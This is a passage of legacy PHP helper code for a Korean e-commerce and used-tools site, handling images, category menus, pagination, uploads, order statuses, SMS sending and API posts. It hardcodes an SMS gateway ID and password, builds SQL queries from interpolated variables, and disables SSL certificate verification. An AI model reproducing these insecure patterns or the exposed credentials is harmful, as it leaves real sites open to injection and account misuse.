(strstr(strtolower(substr($img_big,-4)),'.jpg') || strstr(strtolower(substr($img_big,-4)),'.gif')){ $img_src = "$img_big"; } if (strstr(strtolower(substr($img_big,-4)),'.swf')){ $img_src = "$img_big"; } } else if($img_sml != "" && file_exists("$Co_img_UP/$img_sml")){ if (strstr(strtolower(substr($img_sml,-4)),'.jpg') || strstr(strtolower(substr($img_sml,-4)),'.gif')){ $img_src = "$img_sml"; } if (strstr(strtolower(substr($img_sml,-4)),'.swf')){ $img_src = "$img_sml"; } } else $img_src = "noimage_s.gif"; return $img_src; } function get_detail_img_src2($conn,$item_no) { global $ItemTable,$Co_img_UP,$Co_img_DOWN; $sql = "select img_sml,img,img_big,icon_no from $ItemTable where item_no='$item_no'"; $dbresult = mysql_query($sql); $ary = mysql_fetch_array($dbresult); $img_sml = $ary[img_sml]; $img = $ary[img]; $img_big = $ary[img_big]; $icon_no = $ary['icon_no']; $direct = 0; if(strstr($icon_no, '9')) { $direct = 1; } if($direct) { if($img != "" ) { if (strstr(strtolower(substr($img,-4)),'.jpg') || strstr(strtolower(substr($img,-4)),'.gif') || strstr(strtolower(substr($img,-4)),'.swf') ) { if(file_exists("$Co_img_UP/direct/$img")) $img_src = $Co_img_DOWN.'/direct/'.$img; else if(strstr(strtolower(substr($img,0,4)),'http')) $img_src = $img; } } else if($img_big != "") { if (strstr(strtolower(substr($img_big,-4)),'.jpg') || strstr(strtolower(substr($img_big,-4)),'.gif') || strstr(strtolower(substr($img_big,-4)),'.swf') ) { if(file_exists("$Co_img_UP/direct/$img_big")) $img_src = $Co_img_DOWN.'/direct/'.$img_big; else if(strstr(strtolower(substr($img_big,0,4)),'http')) $img_src = $img_big; } } else if($img_sml != "") { if ( strstr(strtolower(substr($img_sml,-4)),'.jpg') || strstr(strtolower(substr($img_sml,-4)),'.gif') || strstr(strtolower(substr($img_sml,-4)),'.swf') ) { if(file_exists("$Co_img_UP/direct/$img_sml")) $img_src = $Co_img_DOWN.'/direct/'.$img_sml; else if(strstr(strtolower(substr($img_sml,0,4)),'http')) $img_src = $img_sml; } } else $img_src = $Co_img_DOWN."noimage_s.gif"; } else { if($img != "" ) { if (strstr(strtolower(substr($img,-4)),'.jpg') || strstr(strtolower(substr($img,-4)),'.gif') || strstr(strtolower(substr($img,-4)),'.swf') ) { if(file_exists("$Co_img_UP/$img")) $img_src = $Co_img_DOWN.'/'.$img; else if(strstr(strtolower(substr($img,0,4)),'http')) $img_src = $img; } } else if($img_big != "") { if (strstr(strtolower(substr($img_big,-4)),'.jpg') || strstr(strtolower(substr($img_big,-4)),'.gif') || strstr(strtolower(substr($img_big,-4)),'.swf') ) { if(file_exists("$Co_img_UP/$img_big")) $img_src = $Co_img_DOWN.'/'.$img_big; else if(strstr(strtolower(substr($img_big,0,4)),'http')) $img_src = $img_big; } } else if($img_sml != "") { if ( strstr(strtolower(substr($img_sml,-4)),'.jpg') || strstr(strtolower(substr($img_sml,-4)),'.gif') || strstr(strtolower(substr($img_sml,-4)),'.swf') ) { if(file_exists("$Co_img_UP/$img_sml")) $img_src = $Co_img_DOWN.'/'.$img_sml; else if(strstr(strtolower(substr($img_sml,0,4)),'http')) $img_src = $img_sml; } } else $img_src = $Co_img_DOWN."noimage_s.gif"; } return $img_src; } function category_pwd($conn,$db,$category_num,$file_name) { $category_str=''; $sql="select * from $db where category_num='$category_num'"; $dbresult=mysql_query($sql); $ary=mysql_fetch_array($dbresult); $category_name=$ary[category_name]; $i=0; while($ary[prevno] > 0 && $i<5) { $i++; $sql="select * from $db where category_num='$ary[prevno]'"; $dbresult=mysql_query($sql); $ary=mysql_fetch_array($dbresult); $category_str = " <a href='$file_name?category_num=$ary[category_num]'><span class='bb'>$ary[category_name]</span></a> <span class='bb'>></span>".$category_str; } $category_str .= " <b><span class='bb'>$category_name</span></b>"; return $category_str; } function page_list_str($numRows_tot,$page,$url,$cnfPagecount,$tail=""){ $str = ''; if ($cnfPagecount == "") $cnfPagecount = 2; $total_page = ($numRows_tot - 1) / $cnfPagecount; $total_page = intval($total_page)+1; if($page % 10 == 0) $start_page = $page - 9; else $start_page = $page - ($page % 10) + 1; $end_page = $start_page + 9; if($end_page >= $total_page) $end_page = $total_page; $prev_start_page = $start_page - 10; $next_start_page = $start_page + 10; if($page == 1){ $str .= (" <img src='../images/re3.gif' width='15' height='11' align='absmiddle' border='0'> "); } else{ $str .= (" <a href='$url&page=1$tail' onfocus='blur()'> <img src='../images/re3.gif' width='15' height='11' align='absmiddle' border='0'> </a> "); } if($start_page > 1){ $str .= (" <a href='$url&page=$prev_start_page$tail' onfocus='blur()'> <img src='../images/re2.gif' width='11' height='11' align='absmiddle' border='0'> </a> "); } else{ $str .= (" <img src='../images/re2.gif' width='11' height='11' align='absmiddle' border='0'> "); } $str .= " "; for($i=$start_page;$i<=$end_page;$i++){ if($i == $page){ $str .= (" <b><font size='1' face='Verdana, Arial, Helvetica, sans-serif'>$i</font></b> "); } else{ $str .= (" <a href='$url&page=$i$tail' onfocus='blur()'><font size='1' face='Verdana, Arial, Helvetica, sans-serif'>$i</font></a> "); } } $str .= " "; if($end_page < $total_page){ $str .= (" <a href='$url&page=$next_start_page$tail' onfocus='blur()'> <img src='../images/ff.gif' width='11' height='11' align='absmiddle' border='0'> </a> "); } else{ $str .= (" <img src='../images/ff.gif' width='11' height='11' align='absmiddle' border='0'> "); } if($page == $total_page){ $str .= (" <img src='../images/ff2.gif' width='15' height='11' align='absmiddle' border='0'> "); } else{ $str .= (" <a href='$url&page=$total_page$tail' onfocus='blur()'> <img src='../images/ff2.gif' width='15' height='11' align='absmiddle' border='0'> </a> "); } return $str; } function page_list_rel_str($numRows_tot,$page,$url,$cnfPagecount,$tail=""){ $str = ''; if ($cnfPagecount == "") $cnfPagecount = 2; $total_page = ($numRows_tot - 1) / $cnfPagecount; $total_page = intval($total_page)+1; if($page % 10 == 0) $start_page = $page - 9; else $start_page = $page - ($page % 10) + 1; $end_page = $start_page + 9; if($end_page >= $total_page) $end_page = $total_page; $prev_start_page = $start_page - 10; $next_start_page = $start_page + 10; if($page == 1){ $str .= (" <img src='../images/re3.gif' width='15' height='11' align='absmiddle' border='0'> "); } else{ $str .= (" <a href='$url&page_rel=1$tail' onfocus='blur()'> <img src='../images/re3.gif' width='15' height='11' align='absmiddle' border='0'> </a> "); } if($start_page > 1){ $str .= (" <a href='$url&page_rel=$prev_start_page$tail' onfocus='blur()'> <img src='../images/re2.gif' width='11' height='11' align='absmiddle' border='0'> </a> "); } else{ $str .= (" <img src='../images/re2.gif' width='11' height='11' align='absmiddle' border='0'> "); } $str .= " "; for($i=$start_page;$i<=$end_page;$i++){ if($i == $page){ $str .= (" <b><font size='1' face='Verdana, Arial, Helvetica, sans-serif'>$i</font></b> "); } else{ $str .= (" <a href='$url&page_rel=$i$tail' onfocus='blur()'><font size='1' face='Verdana, Arial, Helvetica, sans-serif'>$i</font></a> "); } } $str .= " "; if($end_page < $total_page){ $str .= (" <a href='$url&page_rel=$next_start_page$tail' onfocus='blur()'> <img src='../images/ff.gif' width='11' height='11' align='absmiddle' border='0'> </a> "); } else{ $str .= (" <img src='../images/ff.gif' width='11' height='11' align='absmiddle' border='0'> "); } if($page == $total_page){ $str .= (" <img src='../images/ff2.gif' width='15' height='11' align='absmiddle' border='0'> "); } else{ $str .= (" <a href='$url&page_rel=$total_page$tail' onfocus='blur()'> <img src='../images/ff2.gif' width='15' height='11' align='absmiddle' border='0'> </a> "); } return $str; } function page_list_ac_str($numRows_tot,$page,$url,$cnfPagecount,$tail=""){ $str = ''; if ($cnfPagecount == "") $cnfPagecount = 2; $total_page = ($numRows_tot - 1) / $cnfPagecount; $total_page = intval($total_page)+1; if($page % 10 == 0) $start_page = $page - 9; else $start_page = $page - ($page % 10) + 1; $end_page = $start_page + 9; if($end_page >= $total_page) $end_page = $total_page; $prev_start_page = $start_page - 10; $next_start_page = $start_page + 10; if($page == 1){ $str .= (" <img src='../images/re3.gif' width='15' height='11' align='absmiddle' border='0'> "); } else{ $str .= (" <a href='$url&page_ac=1$tail' onfocus='blur()'> <img src='../images/re3.gif' width='15' height='11' align='absmiddle' border='0'> </a> "); } if($start_page > 1){ $str .= (" <a href='$url&page_ac=$prev_start_page$tail' onfocus='blur()'> <img src='../images/re2.gif' width='11' height='11' align='absmiddle' border='0'> </a> "); } else{ $str .= (" <img src='../images/re2.gif' width='11' height='11' align='absmiddle' border='0'> "); } $str .= " "; for($i=$start_page;$i<=$end_page;$i++){ if($i == $page){ $str .= (" <b><font size='1' face='Verdana, Arial, Helvetica, sans-serif'>$i</font></b> "); } else{ $str .= (" <a href='$url&page_ac=$i$tail' onfocus='blur()'><font size='1' face='Verdana, Arial, Helvetica, sans-serif'>$i</font></a> "); } } $str .= " "; if($end_page < $total_page){ $str .= (" <a href='$url&page_ac=$next_start_page$tail' onfocus='blur()'> <img src='../images/ff.gif' width='11' height='11' align='absmiddle' border='0'> </a> "); } else{ $str .= (" <img src='../images/ff.gif' width='11' height='11' align='absmiddle' border='0'> "); } if($page == $total_page){ $str .= (" <img src='../images/ff2.gif' width='15' height='11' align='absmiddle' border='0'> "); } else{ $str .= (" <a href='$url&page_ac=$total_page$tail' onfocus='blur()'> <img src='../images/ff2.gif' width='15' height='11' align='absmiddle' border='0'> </a> "); } return $str; } function vender_category_select($conn,$db,$prevno,$selected_category_num,$username='') { $search_str = ''; if($username!='') $search_str="and vender='$username'"; $select_str = ''; $sql = "select * from $db where prevno='$prevno' $search_str order by ord desc"; $dbresult = mysql_query($sql); while ($ary=mysql_fetch_array($dbresult)) { $select_str .= "<option value='$ary[category_num]'"; if($keyset=='category_num' && $selected_category_num == $ary[category_num]) $select_str .= " selected"; $select_str .= ">"; for($i=0;$i<category_degree($conn,$db,$ary[category_num]);$i++) { $select_str .= " >"; } $sql1 = "select count(*) cnt from item where vender_category_num='$ary[category_num]' $search_str"; $dbresult1=mysql_query($sql1,$conn); $ary1=mysql_fetch_array($dbresult1); $select_str .= "$ary[category_name](상품 $ary1[cnt]개)</option>\r\n"; $select_str .= vender_category_select($conn,$db,$ary[category_num],$selected_category_num,$username); } return $select_str; } function category_degree($conn,$db,$category_num) { $sql = "select * from $db where category_num='$category_num'"; $dbresult = mysql_query($sql); $prevno_tmp = mysql_result($dbresult,0,'prevno'); $degree = 1; while ($prevno_tmp > 0) { $sql = "select * from $db where category_num='$prevno_tmp'"; $dbresult = mysql_query($sql); $prevno_tmp = mysql_result($dbresult,0,'prevno'); $degree++; } return $degree; } function category_select($conn,$db,$prevno,$selected_category_num,$keyset,$hide_flag='') { $hide_str=''; if($hide_flag=="Y")//숨겨진 카테고리 안나옴 { $hide_str = "and if_hide='0'"; } $select_str = ''; $sql = "select * from $db where prevno='$prevno' $hide_str order by cat_order desc"; //echo $sql; $dbresult = mysql_query($sql); while ($ary=mysql_fetch_array($dbresult)) { $select_str .= "<option value='$ary[category_num]'"; if($keyset=='category_num' && $selected_category_num == $ary[category_num]) $select_str .= " selected"; $select_str .= ">"; for($i=0;$i<category_degree($conn,$db,$ary[category_num]);$i++) { $select_str .= " >"; } $sql1 = "select count(*) cnt from item where category_num=$ary[category_num]"; $dbresult1=mysql_query($sql1,$conn); $ary1=mysql_fetch_array($dbresult1); $select_str .= "$ary[category_name]</option>\r\n"; $select_str .= category_select($conn,$db,$ary[category_num],$selected_category_num,$keyset); } return $select_str; } function bbs_select($conn,$db,$prevno,$selected_bbs_no) { $select_str = ''; $db_sub = str_replace('config','',$db); $sql = "select T1.*,count(T2.index_no) cnt from $db T1 left join $db_sub T2 on T1.bbs_no=T2.bbs_no group by T1.bbs_no order by T1.ord desc"; $dbresult = mysql_query($sql); while ($ary=mysql_fetch_array($dbresult)) { $select_str .= "<option value='$ary[bbs_no]'"; if($selected_bbs_no == $ary[bbs_no]) $select_str .= " selected"; $select_str .= ">"; $select_str .= "$ary[title]($ary[cnt])</option>\r\n"; } return $select_str; } function realty_upload($kind,$img_name,$img_name_old,$update_flag,$img_head,$index_no) { global $Co_img_UP; //echo "$UnameSess=$UnameSess"; if($kind == 'add') { if($img_name!='') { if($update_flag=="ok") { $pos = strrpos($img_name, "."); $attach_tail = substr($img_name,$pos); $img_name_new = $img_head.$index_no.$attach_tail; // 화일 이픔 새로 짖고 if(file_exists("$Co_img_UP/$img_name")) { copy ("$Co_img_UP/$img_name","$Co_img_UP/$img_name_new" ); //새 파일 저장 } } } } if($kind == 'update') { if($img_name!='') { if($update_flag=="ok") { if($img_name_old !="" && file_exists("$Co_img_UP/$img_name_old")) { unlink("$Co_img_UP/$img_name_old"); // 삭제... } $pos = strrpos($img_name, "."); $attach_tail = substr($img_name,$pos); $img_name_new = $img_head.$index_no.$attach_tail; // 화일 이픔 새로 짖고 if(file_exists("$Co_img_UP/$img_name")) // 화일 있는지 확인하고 copy ("$Co_img_UP/$img_name","$Co_img_UP/$img_name_new" ); //새 파일 저장 } else{ $img_name_new = $img_name; } } else{ if($img_name_old !=""&&file_exists("$Co_img_UP/$img_name_old")) { unlink("$Co_img_UP/$img_name_old"); } } } return $img_name_new; } function page_list1($numRows_tot,$page,$url,$cnfPagecount,$tail=""){ if ($cnfPagecount == "") $cnfPagecount = 2; $total_page = ($numRows_tot - 1) / $cnfPagecount; $total_page = intval($total_page)+1; if($page % 10 == 0) $start_page = $page - 9; else $start_page = $page - ($page % 10) + 1; $end_page = $start_page + 9; if($end_page >= $total_page) $end_page = $total_page; $prev_start_page = $start_page - 10; $next_start_page = $start_page + 10; if($start_page > 1){ echo (" <td style='padding:2 9 0 8' width='60'> <font color='#CD0403' class='reply'>◀</font> <a href='$url&page=$prev_start_page$tail' class='content1'>이전</a></td> "); } else{ echo (" <td height=16 style='padding:2 5 0 5' width='6'> </td> "); } for($i=$start_page;$i<=$end_page;$i++){ if($i == $page){ echo (" <td width=1 bgcolor=#CCCCCC nowrap></td> <td style='padding:2 9 0 8' align=center class='content1' width='13'><font color='#FF7635'><b>$i</b></font></td> "); } else{ echo (" <td width=1 nowrap bgcolor=#cccccc class='content1'></td> <td style='padding:2 9 0 8' align=center class='content1' width='13'><a href='$url&page=$i$tail' class='content1'><b>$i</b></a></td> "); } } echo "<td width=1 nowrap bgcolor=#cccccc></td>"; if($end_page < $total_page){ echo (" <td style='padding:2 9 0 8' width='60'> <a href='$url&page=$next_start_page$tail' class='content1'>다음</a> <font color='#CD0403' class='reply'>▶</font></td> "); } else{ echo (" <td height=16 style='padding:2 5 0 5' width='6'> </td> "); } } function item_edit_img_upload($img_name,$img_name_old,$update_flag,$img_head,$item_no) { global $Co_img_UP; //echo "$UnameSess=$UnameSess"; if($img_name!='') { if($update_flag=="ok") { if($img_name_old !="" && file_exists("$Co_img_UP/$img_name_old")) { unlink("$Co_img_UP/$img_name_old"); // 삭제... } $pos = strrpos($img_name, "."); $attach_tail = substr($img_name,$pos); $img_name_new = $img_head.$item_no.$attach_tail; // 화일 이픔 새로 짖고 if(file_exists("$Co_img_UP/$img_name")) // 화일 있는지 확인하고 copy ("$Co_img_UP/$img_name","$Co_img_UP/$img_name_new" ); //새 파일 저장 } else{ $img_name_new = $img_name; } } else{ $img_name_new=''; if($img_name_old !=""&&file_exists("$Co_img_UP/$img_name_old")) { unlink("$Co_img_UP/$img_name_old"); } } return $img_name_new; } $status_str1 = '주문'; $status_str2 = '입금확인'; $status_str3 = '배송완료'; $status_str4 = '환불'; $status_str5 = '단종'; $status_str6 = '배송중'; $status_str7 = '교환'; $status_str8 = '고객주문취소'; $status_stra = '출고준비중'; $status_strb = '물류에서 출고중'; $status_strc = '물류에서 입고하여 출고중'; $status_strd = '화물 출고중'; $status_stre = '환불예정'; $status_strf = '클레임'; $status_strg = '반품완료'; $status_strh = '확인요청'; $status_stri = '품절'; function get_status_str($status) { if($status == '1') return '주문'; if($status == '2') return '입금확인'; if($status == '3') return '배송완료'; if($status == '4') return '환불'; if($status == '5') return '단종'; if($status == '6') return '배송중'; if($status == '7') return '교환'; if($status == '8') return '고객주문취소'; if($status == 'a') return '출고준비중'; if($status == 'b') return '물류에서 출고중'; if($status == 'c') return '물류에서 입고하여 출고중'; if($status == 'd') return '화물 출고중'; if($status == 'e') return '환불예정'; if($status == 'f') return '클레임'; if($status == 'g') return '반품완료'; if($status == 'h') return '확인요청'; if($status == 'i') return '품절'; } function munja_send($mtype, $name, $phone, $msg, $callback, $contents, $reserve="", $reserve_time="", $etc1="", $etc2="") { $host = "www.munja1004.co.kr"; $id = "toolmt"; $pass = "583163"; $param = "remote_id=".$id; $param.= "&remote_pass=".$pass; $param.= "&remote_reserve=".$reserve; $param.= "&remote_reservetime=".$reserve_time; $param.= "&remote_name=".$name; $param.= "&remote_phone=".$phone; $param.= "&remote_callback=".$callback; $param.= "&remote_msg=".$msg; $param.= "&remote_contents=".$contents; $param.= "&remote_etc1=".$etc1; $param.= "&remote_etc2=".$etc2; if(strlen($msg) > 90) { $mtype = 'lms'; } if ($mtype == "lms" || $mtype == "mms") { $path= "/Remote/RemoteMms.html"; } else { $path= "/Remote/RemoteSms.html"; } $fp=@fsockopen($host,80,$errno,$errstr,30); $return=""; if (!$fp) { die($_err.$errstr.$errno); } else { fputs($fp, "POST ".$path." HTTP/1.1\r\n"); fputs($fp, "Host: ".$host."\r\n"); fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n"); fputs($fp, "Content-length: ".strlen($param)."\r\n"); fputs($fp, "Connection: close\r\n\r\n"); fputs($fp, $param."\r\n\r\n"); while(!feof($fp)) $return .= fgets($fp,4096); } fclose ($fp); $_temp_array = explode("\r\n\r\n", $return); $_temp_array2 = explode("\r\n", $_temp_array[1]); $return_string = $_temp_array2[1]; return $return_string; } function category_pwd_show($conn,$category_num) { $category_str=''; $sql="select * from category where category_num='$category_num'"; $dbresult=mysql_query($sql); $ary=mysql_fetch_array($dbresult); $category_name=$ary[category_name]; $i=0; while($ary[prevno] > 0 && $i<5) { $i++; $sql="select * from category where category_num='$ary[prevno]'"; $dbresult=mysql_query($sql); $ary=mysql_fetch_array($dbresult); $category_str = " <span class='bb'>$ary[category_name]</span> <span class='bb'>></span>".$category_str; } $category_str .= " <b><span class='bb'>$category_name</span></b>"; return $category_str; } $used_str = array(); $used_str[] = '팝니다- 전동/에어/유압/작업공구'; $used_str[] = '팝니다- 엔진/농업/기계장비'; $used_str[] = '팝니다- 자동차/중장비/선박/대형기계'; $used_str[] = '팝니다- 가구/스포츠/생활/주방용품'; $used_str[] = '삽니다- 전동/에어/유압/작업공구'; $used_str[] = '삽니다- 가구/스포츠/생활/주방용품'; function escape_recursive($array) { global $HostName, $DbName, $Admin, $AdminPass, $ItemTable, $Co_img_UP, $Co_img_DOWN; $dbconnTemp = mysqli_connect($HostName,$Admin,$AdminPass); mysqli_select_db ($dbconnTemp, $DbName); if ($dbconnTemp == false) { echo "데이타베이스 연결 실패!"; return false; } $return = array(); foreach ( $array as $k=>$v ) { $return[$k] = is_array($v) ? escape_recursive($v) : mysqli_real_escape_string($dbconnTemp, $v); } return $return; } $_POST = escape_recursive($_POST); $_GET = escape_recursive($_GET); if($_SERVER['REMOTE_ADDR'] == '103.73.89.155') { exit; } function curl_post($url, $fields) { $post_field_string = http_build_query($fields, '', '&'); $ch = curl_init(); // curl 초기화 $headr = array(); $headr[] = 'apikey: '. COIN_API_KEY; curl_setopt($ch, CURLOPT_HTTPHEADER, $headr); curl_setopt($ch, CURLOPT_URL, $url); // url 지정하기 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // 요청결과를 문자열로 반환 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); // connection timeout : 10초 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // 원격 서버의 인증서가 유효한지 검사 여부 curl_setopt($ch, CURLOPT_POSTFIELDS, $post_field_string); // POST DATA curl_setopt($ch, CURLOPT_POST, true); // POST 전송 여부 $response = curl_exec($ch); curl_close ($ch); return $response; } include_once('/var/www/html/autocart/db.mysql.func.php'); header('P3P: CP="NOI CURa ADMa DEVa TAIa OUR DELa BUS IND PHY ONL UNI COM NAV INT DEM PRE"'); ini_set('memory_limit', '-1'); ?>
Rename:
-